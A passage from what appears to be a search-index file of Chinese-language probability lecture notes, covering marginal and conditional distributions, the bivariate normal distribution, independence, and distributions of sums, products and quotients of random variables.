\\sum_{j=1}^{\\infty} p_{ij}, \\quad p_{i.} \\geq 0, \\quad \\sum_{i=1}^{\\infty} p_{i.} = 1 \\] <p>\u7c7b\u4f3c\u5730\uff0c</p> \\[ Y \\sim \\begin{pmatrix} y_1 &amp; y_2 &amp; \\dots &amp; y_j &amp; \\dots \\\\ p_{.1} &amp; p_{.2} &amp; \\dots &amp; p_{.j} &amp; \\dots \\end{pmatrix} \\] <p>\u5176\u4e2d</p> \\[ p_{.j} = \\sum_{i=1}^{\\infty} p_{ij}, \\quad p_{.j} \\geq 0, \\quad \\sum_{j=1}^{\\infty} p_{.j} = 1 \\] <p>Warning</p> <p>\u8fb9\u9645\u5206\u5e03\u7531\u8054\u5408\u5206\u5e03\u552f\u4e00\u786e\u5b9a\uff0c\u4f46\u662f\u53cd\u8fc7\u6765\u4e0d\u4e00\u5b9a\u6210\u7acb\u3002\u56e0\u4e3a\u52a0\u8d77\u6765\u7b49\u4e8e\u4e00\u4e2a\u503c\u5e76\u4e0d\u80fd\u786e\u5b9a\u5206\u5f00\u7684\u6bcf\u4e00\u4e2a\u503c</p>"},{"location":"NOTE/Probability/second/#_9","title":"\u6761\u4ef6\u6982\u7387\u4e0e\u6761\u4ef6\u5206\u5e03","text":"<p>\u5bf9\u4e8e\u56fa\u5b9a\u7684 \\( x_i, y_j \\)\uff0c\u6211\u4eec\u5f97\u5230</p> \\[ P(Y = y_j | X = x_i) = \\frac{P(X = x_i, Y = y_j)}{P(X = x_i)} = \\frac{p_{ij}}{p_i} \\] <p>\u5982\u679c \\( x_i, y_j \\) \u53d8\u5316\uff0c\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u5f97\u5230\u6761\u4ef6\u5206\u5e03\uff1a</p> <p>\u7ed9\u5b9a \\( X = x_i \\) \u7684\u6761\u4ef6\u4e0b\uff0c\\( Y \\) \u53ef\u53d6\u503c \\( y_1, y_2, \\dots, y_j, \\dots \\) \u65f6\uff0c\u6982\u7387\u5206\u522b\u4e3a</p> \\[ P(Y = y_j | X = x_i) = \\frac{p_{ij}}{p_i} \\]"},{"location":"NOTE/Probability/second/#_10","title":"\u6761\u4ef6\u5206\u5e03\u5217","text":"\\[ Y | (X = x_i) \\sim \\begin{pmatrix} y_1 &amp; y_2 &amp; \\dots &amp; y_j &amp; \\dots \\\\ \\frac{p_{i1}}{p_i} &amp; \\frac{p_{i2}}{p_i} &amp; \\dots &amp; \\frac{p_{ij}}{p_i} &amp; \\dots \\end{pmatrix} \\] <p>\u540c\u7406\u4e5f\u53ef\u4ee5\u5f97\u5230 \\(X|Y\\) \u7684\u6761\u4ef6\u5206\u5e03</p> <p>Note</p> <p>\u65b9\u4fbf\u8d77\u89c1\uff0c\u8fd9\u91cc\u628a \\(P_{i.}\\) \u8bb0\u4e3a \\(P_i\\)</p>"},{"location":"NOTE/Probability/second/#_11","title":"\u8fde\u7eed\u6027\u968f\u673a\u5411\u91cf","text":"<p>\u7ed9\u5b9a\u6982\u7387\u7a7a\u95f4 \\((\\Omega, A, P)\\)\uff0c\\((X, Y)\\) \u662f\u5176\u4e0a\u7684\u968f\u673a\u5411\u91cf\u3002\u5982\u679c\u5b58\u5728 \\(p(x, y)\\) \u4f7f\u5f97</p> \\[  p(x, y) \\geq 0, \\quad \\int_{-\\infty}^{\\infty} \\int_{-\\infty}^{\\infty} p(x, y) dx dy = 1  \\] <p>\u5e76\u4e14\u5bf9\u4efb\u610f Borel \u96c6 \\(A, B \\subset \\mathbb{R}\\),</p> \\[  P(X \\in A, Y \\in B) = \\int_A \\int_B p(u, v) du dv  \\] <p>\u90a3\u4e48\u79f0 \\((X, Y)\\) \u662f\u8fde\u7eed\u578b\u968f\u673a\u5411\u91cf\uff0c\u5177\u6709\u5bc6\u5ea6\u51fd\u6570 \\(p(x, y)\\)\u3002</p> <p>\u7279\u522b\uff0c\u5bf9\u4efb\u610f \\(x, y \\in \\mathbb{R}\\)</p> \\[  P(X \\leq x, Y \\leq y) = \\int_{-\\infty}^x \\int_{-\\infty}^y p(u, v) du dv  \\]"},{"location":"NOTE/Probability/second/#_12","title":"\u8fde\u7eed\u578b\u7684\u8fb9\u9645\u5206\u5e03","text":"<p>\u663e\u7136\uff0c\u5982\u679c \\((X, Y)\\) \u662f\u8fde\u7eed\u578b\u968f\u673a\u5411\u91cf\uff0c\u90a3\u4e48 \\(X, Y\\) \u90fd\u662f\u8fde\u7eed\u578b\u968f\u673a\u53d8\u91cf\u3002\u5e76\u4e14\uff0c</p> \\[  X \\sim p_X(x), \\quad Y \\sim p_Y(y)  \\] <p>\u5176\u4e2d</p> \\[  p_X(x) = \\int_{-\\infty}^{\\infty} p(x, y) dy, \\quad p_Y(y) = \\int_{-\\infty}^{\\infty} p(x, y) dx  \\] <p>\u540c\u6837\uff0c\u8054\u5408\u5206\u5e03\u60df\u4e00\u51b3\u5b9a\u8fb9\u9645\u5206\u5e03\uff0c\u8fb9\u9645\u5206\u5e03\u4e0d\u80fd\u51b3\u5b9a\u8054\u5408\u5206\u5e03\u3002</p>"},{"location":"NOTE/Probability/second/#_13","title":"\u8fde\u7eed\u578b\u7684\u6761\u4ef6\u5206\u5e03","text":"<p>\u4e0e\u79bb\u6563\u578b\u7684\u7c7b\u4f3c\uff1b\u8fde\u7eed\u578b\u7684\u6761\u4ef6\u5206\u5e03\u7684\u5bc6\u5ea6\u51fd\u6570\u5c31\u662f\u5728\u539f\u6765\u7684\u57fa\u7840\u4e0a\u5206\u6bcd\u53d8\u4e3a\u5bf9\u5e94\u786e\u5b9a\u53d8\u91cf\u7684\u8fb9\u9645\u51fd\u6570\u67d0\u70b9\u7684\u503c\uff1b\u66f4\u8be6\u7ec6\u5730\u8bf4:</p> <p>\u5047\u8bbe \\((X, Y)\\) \u662f\u8fde\u7eed\u578b\u968f\u673a\u5411\u91cf\uff0c\u5177\u6709\u8054\u5408\u5bc6\u5ea6\u51fd\u6570 \\(p(x, y)\\)\uff0c\u4e0b\u9762\u8ba8\u8bba\u6761\u4ef6\u5206\u5e03</p> <p>\u7ed9\u5b9a \\(X = x\\)\uff0c\u6c42 \\(Y\\) \u7684\u5206\u5e03\uff1f</p> <p>\u5373 \\(P(Y \\leq y | X = x)\\)</p> <p>\u6ce8\u610f \\(P(X = x) = 0\\)\uff0c\u6211\u4eec\u91c7\u7528</p> \\[  P(Y \\leq y | X = x) = \\lim_{\\varepsilon \\to 0} P(Y \\leq y | x - \\varepsilon &lt; X \\leq x + \\varepsilon)  \\] \\[ P(Y \\leq y | X = x) = \\lim_{\\varepsilon \\to 0} \\frac{P(Y \\leq y, x - \\varepsilon &lt; X \\leq x + \\varepsilon)}{P(x - \\varepsilon &lt; X \\leq x + \\varepsilon)} \\] \\[ = \\lim_{\\varepsilon \\to 0} \\frac{\\int_{x-\\varepsilon}^{x+\\varepsilon} \\int_{-\\infty}^{y} p(u, v) \\, dv \\, du / (2 \\varepsilon)}{\\int_{x-\\varepsilon}^{x+\\varepsilon} p_X(u) \\, du / (2\\varepsilon)} \\] \\[ = \\frac{\\int_{-\\infty}^{y} p(x, v) \\, dv}{p_X(x)} \\] <p>\u7ed9\u5b9a \\(X = x\\) \u4e0b\uff0c\\(Y\\) \u5177\u6709\u5bc6\u5ea6\u51fd\u6570</p> \\[ p_{Y|X}(y|x) = \\frac{p(x, y)}{p_X(x)} \\] <p>Key-point</p> <p>\u63a8\u5bfc\u8fc7\u7a0b\u4e2d\u4e0a\u4e0b\u540c\u65f6\u9664\u4ee5 \\(2\\varepsilon\\) \u662f\u4e3a\u4e86\u4f7f\u7528\u62c9\u683c\u6717\u65e5\u4e2d\u503c\u5b9a\u7406 \u5373</p> \\[     F(x+\\varepsilon)-F(x-\\varepsilon) = F'(\\xi)2\\varepsilon \\] <p>\u8054\u5408\u6b63\u6001\u5206\u5e03</p> <p>\u5982\u679c\u968f\u673a\u5411\u91cf \\((X, Y)\\) \u5177\u6709\u5bc6\u5ea6\u51fd\u6570\uff1a\\(\\forall x, y \\in \\mathbb{R}\\)</p> \\[ p(x, y) = \\frac{1}{2\\pi\\sigma_1\\sigma_2\\sqrt{1-\\rho^2}} e^{-\\frac{1}{2(1-\\rho^2)}\\left(\\frac{(x-\\mu_1)^2}{\\sigma_1^2} - \\frac{2\\rho(x-\\mu_1)(y-\\mu_2)}{\\sigma_1\\sigma_2} + \\frac{(y-\\mu_2)^2}{\\sigma_2^2}\\right)} \\] <p>\u90a3\u4e48\u79f0 \\((X, Y)\\) \u670d\u4ece\u4e8c\u7ef4\u8054\u5408\u6b63\u6001\u5206\u5e03\uff0c\\(\\mu_1, \\mu_2, \\sigma_1^2, \\sigma_2^2, \\rho\\) \u4e3a\u53c2\u6570\u3002\u7b80\u8bb0</p> \\[ (X, Y) \\sim \\mathcal{N}(\\mu_1, \\sigma_1^2, \\mu_2, \\sigma_2^2; \\rho) \\] <p>\u9a8c\u8bc1 \\(p(x, y)\\) \u786e\u5b9e\u662f\u5bc6\u5ea6\u51fd\u6570</p> \\[ \\int_{-\\infty}^{\\infty} \\int_{-\\infty}^{\\infty} \\frac{1}{2\\pi\\sigma_1\\sigma_2\\sqrt{1-\\rho^2}} e^{-\\frac{1}{2(1-\\rho^2)}\\left[\\frac{x^2}{\\sigma_1^2} - \\frac{2\\rho xy}{\\sigma_1\\sigma_2} + \\frac{y^2}{\\sigma_2^2}\\right]} dxdy = 1 \\] <p>\u7ecf\u8fc7\u53d8\u6362\uff1a\\(u = \\frac{x-\\mu_1}{\\sigma_1}, v = \\frac{y-\\mu_2}{\\sigma_2}\\)\uff0c\u7b49\u4ef7\u4e8e</p> \\[ \\int_{-\\infty}^{\\infty} \\int_{-\\infty}^{\\infty} \\frac{1}{2\\pi\\sqrt{1-\\rho^2}} e^{-\\frac{1}{2(1-\\rho^2)}[u^2 - 2\\rho uv + v^2]} dudv = 1 \\] <p>\u5de6\u8fb9\u8fdb\u884c\u914d\u65b9\uff0c\u5f97</p> \\[ = \\int_{-\\infty}^{\\infty} \\frac{1}{\\sqrt{2\\pi}} e^{-v^2/2} \\left( \\int_{-\\infty}^{\\infty} \\frac{1}{\\sqrt{2\\pi(1-\\rho^2)}} e^{-\\frac{1}{2(1-\\rho^2)}(u-\\rho v)^2} du \\right) dv \\] \\[ = \\int_{-\\infty}^{\\infty} \\frac{1}{\\sqrt{2\\pi}} e^{-v^2/2} dv = 1 \\] <p>Idea</p> <p>\u8fd9\u91cc\u5229\u7528\u4e86\u6807\u51c6\u6b63\u6001\u5206\u5e03\u7684\u6027\u8d28\uff0c\u5373</p> \\[ \\int_{-\\infty}^{\\infty} \\frac{1}{\\sqrt{2\\pi}} e^{-v^2/2} dv = 1 \\] <p>\u8054\u5408\u6b63\u6001\u5206\u5e03\u7684\u8fb9\u9645\u5206\u5e03</p> <p>\\(p_X(x)\\) \u548c \\(p_Y(y)\\) \u90fd\u662f\u6b63\u6001\u5206\u5e03</p> <p>\u5047\u8bbe \\((X, Y) \\sim \\mathcal{N}(\\mu_1, \\sigma_1^2, \\mu_2, \\sigma_2^2; \\rho)\\)\uff0c\u6c42 \\(X, Y\\) \u7684\u8fb9\u9645\u5206\u5e03\uff1f</p> \\[  X \\sim p_X(x)  \\] \\[ p_X(x) = \\int_{-\\infty}^{\\infty} p(x, y) \\, dy \\] \\[ = \\int_{-\\infty}^{\\infty} \\frac{1}{2\\pi\\sigma_1\\sigma_2\\sqrt{1-\\rho^2}} e^{-\\frac{1}{2(1-\\rho^2)}\\left[\\frac{(x-\\mu_1)^2}{\\sigma_1^2} - \\frac{2\\rho(x-\\mu_1)(y-\\mu_2)}{\\sigma_1\\sigma_2} + \\frac{(y-\\mu_2)^2}{\\sigma_2^2}\\right]} \\, dy \\] <p>\u8fdb\u884c\u914d\u65b9\uff0c\u5f97</p> <p>\u4ee4 \\(z = y - \\mu_2\\)\uff0c\u5219</p> \\[ p_X(x) = \\int_{-\\infty}^{\\infty} \\frac{1}{2\\pi\\sigma_1\\sigma_2\\sqrt{1-\\rho^2}} e^{-\\frac{1}{2(1-\\rho^2)}\\left[\\frac{(x-\\mu_1)^2}{\\sigma_1^2} - \\frac{2\\rho(x-\\mu_1)z}{\\sigma_1\\sigma_2} + \\frac{z^2}{\\sigma_2^2}\\right]} \\, dz \\] <p>\u5c06\u6307\u6570\u90e8\u5206\u8fdb\u884c\u914d\u65b9\uff0c\u5f97</p> \\[ -\\frac{1}{2(1-\\rho^2)}\\left[\\frac{(x-\\mu_1)^2}{\\sigma_1^2} - \\frac{2\\rho(x-\\mu_1)z}{\\sigma_1\\sigma_2} + \\frac{z^2}{\\sigma_2^2}\\right] = -\\frac{(x-\\mu_1)^2}{2\\sigma_1^2} - \\frac{z^2 - 2\\rho(x-\\mu_1)z\\sigma_2/\\sigma_1 + \\rho^2(x-\\mu_1)^2\\sigma_2^2/\\sigma_1^2}{2\\sigma_2^2(1-\\rho^2)} \\] \\[ = -\\frac{(x-\\mu_1)^2}{2\\sigma_1^2} - \\frac{(z - \\rho(x-\\mu_1)\\sigma_2/\\sigma_1)^2}{2\\sigma_2^2(1-\\rho^2)} \\] <p>\u56e0\u6b64\uff0c</p> \\[ p_X(x) = \\frac{1}{2\\pi\\sigma_1\\sigma_2\\sqrt{1-\\rho^2}} e^{-\\frac{(x-\\mu_1)^2}{2\\sigma_1^2}} \\int_{-\\infty}^{\\infty} e^{-\\frac{(z - \\rho(x-\\mu_1)\\sigma_2/\\sigma_1)^2}{2\\sigma_2^2(1-\\rho^2)}} \\, dz \\] <p>\u7531\u4e8e</p> \\[ \\int_{-\\infty}^{\\infty} e^{-\\frac{(z - \\rho(x-\\mu_1)\\sigma_2/\\sigma_1)^2}{2\\sigma_2^2(1-\\rho^2)}} \\, dz = \\sqrt{2\\pi\\sigma_2^2(1-\\rho^2)} \\] <p>\u6240\u4ee5</p> \\[ p_X(x) = \\frac{1}{2\\pi\\sigma_1\\sigma_2\\sqrt{1-\\rho^2}} e^{-\\frac{(x-\\mu_1)^2}{2\\sigma_1^2}} \\cdot \\sqrt{2\\pi\\sigma_2^2(1-\\rho^2)} \\] \\[ = \\frac{1}{\\sqrt{2\\pi}\\sigma_1} e^{-\\frac{(x-\\mu_1)^2}{2\\sigma_1^2}} \\] <p>\u56e0\u6b64\uff0c</p> \\[ X \\sim \\mathcal{N}(\\mu_1, \\sigma_1^2) \\] <p>\u5f53 \\(\\rho = 0\\) \u65f6\uff0c\\(X, Y\\) \u72ec\u7acb</p> <p>\u5bf9\u4e8e\u4e00\u822c\u7684\u968f\u673a\u5411\u91cf\uff0c\u6709\u53ef\u80fd\u5176\u65e2\u6ca1\u6709\u5206\u5e03\u5217\uff0c\u4e5f\u6ca1\u6709\u5bc6\u5ea6\u51fd\u6570\uff0c\u6b64\u65f6\u4e3b\u8981\u7528\u5176\u5206\u5e03\u51fd\u6570\u6765\u63cf\u8ff0\u3002</p>"},{"location":"NOTE/Probability/second/#_14","title":"\u72ec\u7acb\u6027","text":"<p>\u5bf9\u4e8e\u8054\u5408\u5206\u5e03\uff0c\u5982\u679c \\(p(x,y)=p_X(x)p_Y(y)\\)\uff0c\u5219\u79f0 \\(X\\) \u548c \\(Y\\) \u72ec\u7acb\u3002</p> <p>\u6216\u8005 \\(F(x,y)=F_X(x)F_Y(y)\\)</p> <p>\u6216\u8005\u5bf9\u4e8e\u4efb\u610f\u6ce2\u96f7\u5c14\u96c6\\(A,B\\)</p> \\[     P( X \\in A,Y \\in B)=P(X \\in A)P(Y \\in B) \\] <p>\u4e00\u822c\u6700\u540e\u4e00\u4e2a\u662f\u5f88\u597d\u7528\u7684\uff0c\u53ef\u4ee5\u7528\u6765\u8bc1\u660e\\(f(X),g(Y)\\)\u662f\u72ec\u7acb\u7684\uff0c(\u8fd0\u7528\u539f\u50cf\u96c6\u4e5f\u662f\u535a\u96f7\u5c14\u96c6\u7684\u6027\u8d28)</p>"},{"location":"NOTE/Probability/second/#_15","title":"\u4e8c\u5143\u5206\u5e03\u51fd\u6570\u7684\u6027\u8d28","text":"<p>\u4e8c\u5143\u5206\u5e03\u51fd\u6570\u7684\u6027\u8d28</p> <ul> <li>\\(F(-\\infty, y) = 0\\), \\(F(x, -\\infty) = 0\\), \\(F(\\infty, \\infty) = 1\\)</li> <li>\\(F(x, y)\\) \u5173\u4e8e \\(x\\) \u548c \\(y\\) \u975e\u51cf</li> <li>\\(F(x, y)\\) \u5173\u4e8e \\(x\\) \u548c \\(y\\) \u53f3\u8fde\u7eed\uff0c\u5de6\u6781\u9650\u5b58\u5728</li> </ul> \\[     P(a &lt; X \\leqslant b, c &lt; Y \\leqslant d) = F(a,c)+F(b,d)-F(a,d)-F(b,c) \\] <p>\u53ef\u4ee5\u4ece\u79ef\u5206\u533a\u57df\u7684\u89d2\u5ea6\u7406\u89e3</p> <p>\\(F_X(x) = F(x, \\infty)\\)</p> <p>\\(F_Y(y) = F(\\infty, y)\\)</p>"},{"location":"NOTE/Probability/second/#_16","title":"\u6761\u4ef6\u5206\u5e03","text":"<p>\u5047\u8bbe \\((X, Y)\\) \u5177\u6709\u5206\u5e03\u51fd\u6570 \\(F(x, y)\\)\uff0c\u90a3\u4e48\u7ed9\u5b9a \\(X = x\\)\uff0c\\(Y\\) \u7684\u6761\u4ef6\u5206\u5e03\u51fd\u6570\u4e3a</p> \\[ P(Y \\leqslant y | X = x) = \\lim_{\\varepsilon \\to 0} P(Y \\leqslant y | x - \\varepsilon &lt; X \\leqslant x + \\varepsilon) \\] \\[ = \\lim_{\\varepsilon \\to 0} \\frac{F(x + \\varepsilon, y) - F(x - \\varepsilon, y)}{F_X(x + \\varepsilon) - F_X(x - \\varepsilon)} \\] <p>\u7c7b\u4f3c\u5730\uff0c</p> \\[ P(X \\leqslant x | Y = y) = \\lim_{\\varepsilon \\to 0} P(X \\leqslant x | y - \\varepsilon &lt; Y \\leqslant y + \\varepsilon) \\] \\[ = \\lim_{\\varepsilon \\to 0} \\frac{F(x, y + \\varepsilon) - F(x, y - \\varepsilon)}{F_Y(y + \\varepsilon) - F_Y(y - \\varepsilon)} \\]"},{"location":"NOTE/Probability/second/#_17","title":"\u591a\u7ef4\u968f\u673a\u5411\u91cf","text":"<ul> <li>\u591a\u7ef4\u968f\u673a\u5411\u91cf</li> </ul> <p>\u5047\u8bbe \\((\\Omega, \\mathcal{A}, P)\\) \u662f\u7ed9\u5b9a\u7684\u6982\u7387\u7a7a\u95f4\uff0c</p> \\[ \\mathbf{X} = (X_1, X_2, \\cdots, X_m) : \\Omega \\mapsto \\mathbb{R}^m \\] <p>\u5982\u679c\u5bf9\u4efb\u610f Borel \u96c6 \\(B \\subset \\mathbb{R}^m\\),</p> \\[ \\{\\omega : \\mathbf{X}(\\omega) \\in B\\} \\in \\mathcal{A} \\] <p>Note</p> <p>\u8fd9\u91cc\u6307\u7684\u662f\u7ecf\u8fc7\u968f\u673a\u5411\u91cf\u7684\u6620\u5c04\u540e\u4ecd\u5c5e\u4e8e\u535a\u96f7\u5c14\u96c6\u7684\u6837\u672c\u70b9\u7684\u96c6\u5408\u4ecd\u5728\u4e8b\u4ef6\u57df\u4e2d</p> <p>\u90a3\u4e48\u79f0 \\(\\mathbf{X}\\) \u4e3a \\(m\\)-\u7ef4\u968f\u673a\u5411\u91cf</p> <ul> <li>\\(m\\)-\u5143\u8054\u5408\u5206\u5e03\u51fd\u6570</li> </ul> <p>\u5047\u8bbe \\(\\mathbf{X} = (X_1, X_2, \\cdots, X_m)\\) \u662f \\(m\\)-\u7ef4\u968f\u673a\u5411\u91cf\uff0c\u5176\u8054\u5408\u5206\u5e03\u51fd\u6570\u4e3a</p> \\[ F_{\\mathbf{X}}(\\mathbf{x}) = P(X_1 \\leq x_1, \\cdots, X_m \\leq x_m) \\] <p>\u5176\u4e2d \\(\\mathbf{x} = (x_1, \\cdots, x_m)\\).</p> <ul> <li>\u8fb9\u9645\u5206\u5e03</li> </ul> <p>\\(X_i\\) \u7684\u8fb9\u9645\u5206\u5e03\u4e3a</p> \\[ F_{X_i}(x_i) = P(X_i \\leq x_i) \\] <ul> <li>\u72ec\u7acb\u968f\u673a\u53d8\u91cf</li> </ul> <p>\u5047\u8bbe \\(\\mathbf{X} = (X_1, X_2, \\cdots, X_m)\\) \u662f \\(m\\)-\u7ef4\u968f\u673a\u5411\u91cf\uff0c\u5176\u8054\u5408\u5206\u5e03\u51fd\u6570\u4e3a \\(F_{\\mathbf{X}}(x)\\)\uff0c\u8fb9\u9645\u5206\u5e03\u4e3a \\(F_{X_i}(x_i), i = 1, \\cdots, m\\)\u3002\u5982\u679c</p> \\[ F_{\\mathbf{X}}(\\mathbf{x}) = \\prod_{i=1}^{m} F_{X_i}(x_i), \\quad \\forall \\mathbf{x} = (x_1, \\cdots, x_m) \\] <p>\u90a3\u4e48\u79f0 \\(X_1, X_2, \\cdots, X_m\\) \u76f8\u4e92\u72ec\u7acb\u3002</p> <ul> <li> <p>\u6ce8\uff1a\u5982\u679c \\(X_1, X_2, \\cdots, X_m\\) \u76f8\u4e92\u72ec\u7acb\uff0c\u90a3\u4e48</p> </li> <li> <p>\\((X_{i_1}, X_{i_2}, \\cdots, X_{i_k}), k \\leq m\\) \u76f8\u4e92\u72ec\u7acb</p> </li> <li>\\(f_1(X_1), f_2(X_2), \\cdots, f_m(X_m)\\) \u76f8\u4e92\u72ec\u7acb</li> <li>\\(f(X_{i_1}, X_{i_2}, \\cdots, X_{i_k}), g(X_{j_1}, X_{j_2}, \\cdots, X_{j_l})\\) \u5206\u522b\u662f \\(k\\) \u5143\u548c \\(l\\) \u5143 Borel \u53ef\u6d4b\u51fd\u6570\uff0c\u4e14 \\(A \\cap B = \\emptyset\\)\u3002\u5982\u679c \\(A, B \\subset \\{1, 2, \\cdots, m\\}, |A| = k, |B| = l\\)\uff0c\u5e76\u4e14 \\(A \\cap B = \\emptyset\\)\uff0c\u90a3\u4e48 \\(f(X_i, i \\in A)\\) \u548c \\(g(X_i, i \\in B)\\) \u76f8\u4e92\u72ec\u7acb\u3002</li> </ul>"},{"location":"NOTE/Probability/second/#_18","title":"\u968f\u673a\u53d8\u91cf\u7684\u6620\u5c04","text":"<p>\u5bf9\u4e8e\u5e38\u89c1\u7684\u51fd\u6570\\(f\\),\\(Y=f(X)\\),\u5982\u679c\\(X\\)\u662f\u968f\u673a\u53d8\u91cf\uff0c\u6211\u4eec\u4e3a\u4e86\u8981\u6c42\\(Y\\)\u662f\u968f\u673a\u53d8\u91cf\uff0c\u9700\u8981\u6ee1\u8db3\\(f\\)\u662fBorel\u53ef\u6d4b\u51fd\u6570\uff0c\u5373\u5bf9\u4e8e\u4efb\u610fBorel\u96c6\\(B\\)\uff0c\\(f^{-1}(B)\\)\u4e5f\u662fBorel\u96c6,\u5bf9\u4e8e\u4e00\u7ef4\u7684\u60c5\u51b5\uff0c\u4e3b\u8981\u6709\u4ee5\u4e0b\u4e24\u79cd\u65b9\u6cd5\u6765\u8ba1\u7b97Y\u7684\u5206\u5e03</p> <p>\u8ba1\u7b97Y\u7684\u5206\u5e03</p> \u79bb\u6563\u578b\u968f\u673a\u53d8\u91cf\u8fde\u7eed\u578b\u968f\u673a\u53d8\u91cf <p>\u6b64\u65f6\\(Y\\)\u4e5f\u662f\u79bb\u6563\u578b\u968f\u673a\u53d8\u91cf;\u6839\u636e \\(X\\) \u7684\u53d6\u503c\uff0c\u53ef\u4ee5\u5f97\u5230 \\(Y\\) \u7684\u53d6\u503c\uff0c\u7136\u540e\u6839\u636e \\(X\\) \u7684\u5206\u5e03\u5217\uff0c\u53ef\u4ee5\u5f97\u5230 \\(Y\\) \u7684\u5206\u5e03\u5217,</p> \\[P(Y=y_i)=P(X=x_i,j\\dots,k),f(X=x_i,j\\dots,k)=y_i\\] <p>\u6b64\u65f6\\(Y\\)\u4e0d\u4e00\u5b9a\u662f\u8fde\u7eed\u578b\u968f\u673a\u53d8\u91cf\uff0c\u6ca1\u6709\u7edf\u4e00\u7684\u8ba1\u7b97\u516c\u5f0f\uff0c\u4f46\u662f \u4e00\u822c\u53ef\u4ee5\u5148\u6c42\u51fa\\(Y\\)\u7684\u5206\u5e03\u51fd\u6570\uff0c\u7136\u540e\u6c42\u5bfc\u5f97\u5230\u5bc6\u5ea6\u51fd\u6570</p>"},{"location":"NOTE/Probability/second/#_19","title":"\u968f\u673a\u5411\u91cf\u7684\u6620\u5c04","text":"<p>(\u8fde\u7eed\u578b)\u968f\u673a\u5411\u91cf\u7684\u6620\u5c04\u6709\u65f6\u5019\u4e0d\u4ec5\u4ec5\u662f\u5bf9\u4e8e\u4e00\u4e2a\u7ed3\u679c\u51fd\u6570\u7684\u6620\u5c04\uff0c\u4e5f\u6709\u5bf9\u4e8e\u4e00\u4e2a\u5411\u91cf\u7684\u6620\u5c04\uff0c\u6211\u4eec\u4f9d\u6b21\u8003\u8651</p> <p>\u6c42\u50cf\u7684\u5206\u5e03</p> \u6620\u5c04\u5230\u5355\u5143 <p>\u5047\u8bbe \\((\\xi_1,\\xi_2,\\ldots,\\xi_i)\\)\u662f\u8fde\u7eed\u578b\u968f\u673a\u5411\u91cf\uff0c\u5177\u6709\u8054\u5408\u5bc6\u5ea6\u51fd\u6570\\(p(x_1,x_2,\\ldots,x_i)\\)\uff0c\u53d8\u6362\u5982\u4e0b\uff1a</p> \\[    \\eta = f(\\xi_1,\\xi_2,\\ldots,\\xi_i) \\] <p>\u90a3\u4e48\\(\\eta\\)\u7684\u5206\u5e03\u51fd\u6570\u53ef\u4ee5\u7531\u4ee5\u4e0b\u516c\u5f0f\u5f97\u5230</p> \\[\\begin{align*}    F_{\\eta}(y) = P(\\eta \\leq y) &amp;= P(f(\\xi_1,\\xi_2,\\ldots,\\xi_i) \\leq y)\\\\                &amp;= \\int \\cdots \\int_{f(\\xi_1,\\xi_2,\\ldots,\\xi_i) \\leq y} p(x_1,x_2,\\ldots,x_i)dx_1dx_2\\ldots dx_i \\end{align*}\\] <p>\u503c\u5f97\u6ce8\u610f\u7684\u4f8b\u5b50</p> \\(\\eta=\\xi_1+\\xi_2\\)\\(\\eta=\\xi_1\\xi_2\\)\\(\\eta=\\dfrac{\\xi_1}{\\xi_2}\\)\u6b21\u5e8f\u7edf\u8ba1\u91cf\u7684\u5206\u5e03 <p>\u5982\u679c\\(\\xi_1,\\xi_2\\)\u662f\u8fde\u7eed\u578b\u968f\u673a\u53d8\u91cf\uff0c\u90a3\u4e48\\(\\eta=\\xi_1+\\xi_2\\)\u7684\u5206\u5e03\u51fd\u6570\u4e3a</p> \\[ F_{\\eta}(y) = \\int_{-\\infty}^{\\infty} dx_1\\int_{-\\infty}^{y-x_1} p(x_1,x_2)dx_2 \\] <p>\\(x_2=z-x_1\\)\uff0c\u5219</p> \\[ F_{\\eta}(y) = \\int_{-\\infty}^{\\infty} dx_1\\int_{-\\infty}^{y} p(x_1,z-x_1)dz \\] <p>\u518d\u4ea4\u6362\u6b21\u5e8f(\u6b64\u65f6\u79ef\u5206\u533a\u57df\u4e3a\u77e9\u5f62\uff0c\u6240\u4ee5\u6211\u4eec\u624d\u53ef\u4ee5\u53ef\u4ee5\u4ea4\u6362\u6b21\u5e8f)</p> \\[ F_{\\eta}(y) = \\int_{-\\infty}^{y} dz\\int_{-\\infty}^{\\infty} p(x_1,z-x_1)dx_1 \\] <p>\u6240\u4ee5\u6211\u4eec\u5f97\u5230\u5bc6\u5ea6\u51fd\u6570</p> \\[ p_{\\eta}(y) = \\int_{-\\infty}^{\\infty} p(x_1,y-x_1)dx_1 \\] <p>\u82e5\\(\\xi_1,\\xi_2\\)\u76f8\u4e92\u72ec\u7acb\uff0c\u90a3\u4e48</p> \\[ p_{\\eta}(y) = \\int_{-\\infty}^{\\infty} p_{\\xi_1}(x_1)p_{\\xi_2}(y-x_1)dx_1 \\] <p>\u79ef\u5206\u533a\u57df\u753b\u56fe\u770b</p> \\[ F_Z(z) = \\int_{(x, y) : xy \\leq z} p(x, y) \\, dx \\, dy \\] \\[ = \\int_{-\\infty}^0 \\int_{z/x}^{\\infty} p(x, y) \\, dy \\, dx + \\int_0^{\\infty} \\int_{-\\infty}^{z/x} p(x, y) \\, dy \\, dx \\] \\[ = -\\int_{\\infty}^z \\int_{-\\infty}^0 \\frac{1}{x} p\\left(x, \\frac{u}{x}\\right) \\, dx \\, du + \\int_0^{\\infty} \\int_0^z \\frac{1}{x} p\\left(x, \\frac{u}{x}\\right) \\, dx \\, du \\] \\[ p_Z(z) = -\\int_{-\\infty}^0 \\frac{1}{x} p\\left(x, \\frac{z}{x}\\right) \\, dx + \\int_0^{\\infty} \\frac{1}{x} p\\left(x, \\frac{z}{x}\\right) \\, dx \\] \\[ = \\int_{-\\infty}^{\\infty} \\frac{1}{|x|} p\\left(x, \\frac{z}{x}\\right) \\, dx \\] <p>\u63a8\u5bfc\u8fc7\u7a0b\u4e2d\u4e0d\u7ba1\\(z\\)\u662f\u6b63\u8fd8\u662f\u8d1f\uff0c\u79ef\u5206\u533a\u57df\u603b\u80fd\u8fd9\u6837\u5212\u5206</p> \\[ F_{\\eta}(y) = P \\left( \\frac{\\xi_1}{\\xi_2} \\leq y \\right) = \\iint_{x_1 / x_2 \\leq y} p(x_1, x_2) \\, dx_1 \\, dx_2 \\] \\[ = \\int_{-\\infty}^0 \\int_{y x_2}^{\\infty} p(x_1, x_2) \\, dx_1 \\, dx_2 + \\int_0^{\\infty} \\int_{-\\infty}^{y x_2} p(x_1, x_2) \\, dx_1 \\, dx_2 \\] <p>\u4ee4 \\( x_1 = z x_2 \\)\uff0c\u5e76\u4ea4\u6362\u79ef\u5206\u6b21\u5e8f\uff0c\u5f97</p> \\[ F_{\\eta}(y) = \\int_{-\\infty}^y 